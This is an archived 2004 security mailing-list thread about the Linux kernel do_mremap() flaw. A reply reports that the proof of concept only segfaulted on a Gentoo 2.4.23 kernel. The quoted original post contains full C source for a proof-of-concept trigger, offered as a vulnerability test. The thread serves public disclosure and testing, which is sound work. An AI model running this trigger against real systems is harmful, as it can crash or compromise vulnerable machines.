bugtraq - RE: Linux kernel do_mremap() proof-of-concept exploit code

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Message-ID: <11A5792A7274D411AE150050DA8BFAD3F3E3F5@DIRECTORY>
Date: Wed, 7 Jan 2004 09:40:00 -0600
From: Bryce Porter <bporter@...rt.net>
To: "'Christophe Devine'" <devine@....cnam.fr>,
   full-disclosure@...ts.netsys.com, bugtraq@...urityfocus.com
Subject: RE: Linux kernel do_mremap() proof-of-concept exploit code

I tested this on a Gentoo-patched 2.4.23 kernel and it did nothing except
segfault. Not sure exactly which patches Gentoo uses, but it could be a
grsecurity limitation or some such. I compiled the code by doing this:

gcc -o mremap_poc mremap_poc.c

And I ran it as a normal user. Hope this helps...

Regards,
Bryce Porter (x86)
Network Administrator
Heart Technologies, Inc.
Direct        309-634-2282
Toll-Free     877-733-4638
Fax           309-697-3191

-----Original Message-----
From: Christophe Devine [mailto:devine@....cnam.fr] 
Sent: Monday, January 05, 2004 3:23 PM
To: full-disclosure@...ts.netsys.com; bugtraq@...urityfocus.com
Subject: Linux kernel do_mremap() proof-of-concept exploit code

The following program can be used to test if a x86 Linux system
is vulnerable to the do_mremap() exploit; use at your own risk.

$ cat mremap_poc.c

/*
 *  Proof-of-concept exploit code for do_mremap()
 *
 *  Copyright (C) 2004  Christophe Devine and Julien Tinnes
 *
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program; if not, write to the Free Software
 *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307
USA
 */

#include <asm/unistd.h>
#include <sys/mman.h>
#include <unistd.h>
#include <errno.h>

#define MREMAP_MAYMOVE  1
#define MREMAP_FIXED    2

#define __NR_real_mremap __NR_mremap

static inline _syscall5( void *, real_mremap, void *, old_address,
                         size_t, old_size, size_t, new_size,
                         unsigned long, flags, void *, new_address );

int main( void )
{
    void *base;

    base = mmap( NULL, 8192, PROT_READ | PROT_WRITE,
                 MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 );

    real_mremap( base, 0, 0, MREMAP_MAYMOVE | MREMAP_FIXED,
                 (void *) 0xC0000000 );

    fork();

    return( 0 );
}

-- 
Christophe Devine - http://www.cr0.net:8040/about/

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